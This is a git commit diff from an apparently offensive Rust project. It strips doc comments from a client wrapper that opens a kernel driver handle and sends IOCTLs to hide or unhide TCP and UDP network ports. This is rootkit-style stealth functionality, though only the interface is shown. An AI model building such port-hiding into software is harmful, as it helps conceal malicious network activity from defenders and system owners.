refactor: improve code readability

This commit is contained in:
joaoviictorti
2025-10-10 11:11:53 -03:00
parent faca4c694c
commit 14de63d7bc
64 changed files with 2020 additions and 2712 deletions

View File

@@ -16,29 +16,13 @@ use crate::utils::{
pub struct Network(HANDLE);
impl Network {
/// Creates a new `Port` instance, opening a handle to the driver.
///
/// # Returns
///
/// * An instance of `Port`.
///
/// # Panics
///
/// Panics if the driver cannot be opened.
/// Creates a new `Port`.
pub fn new() -> Self {
let h_driver = open_driver().expect("Error");
Self(h_driver)
}
/// Hides or unhides a specific network port.
///
/// # Arguments
///
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
/// * `protocol` - The protocol type (e.g., TCP, UDP) for the port.
/// * `port_type` - The type of port (e.g., LOCAL, REMOTE).
/// * `port_number` - The number of the port to hide or unhide.
/// * `enable` - `true` to hide the port or `false` to unhide it.
pub fn hide_unhide_port(
self,
ioctl_code: u32,
@@ -77,7 +61,6 @@ impl Network {
}
impl Drop for Network {
/// Ensures the driver handle is closed when `Port` goes out of scope.
fn drop(&mut self) {
debug!("Closing the driver handle");
unsafe { CloseHandle(self.0) };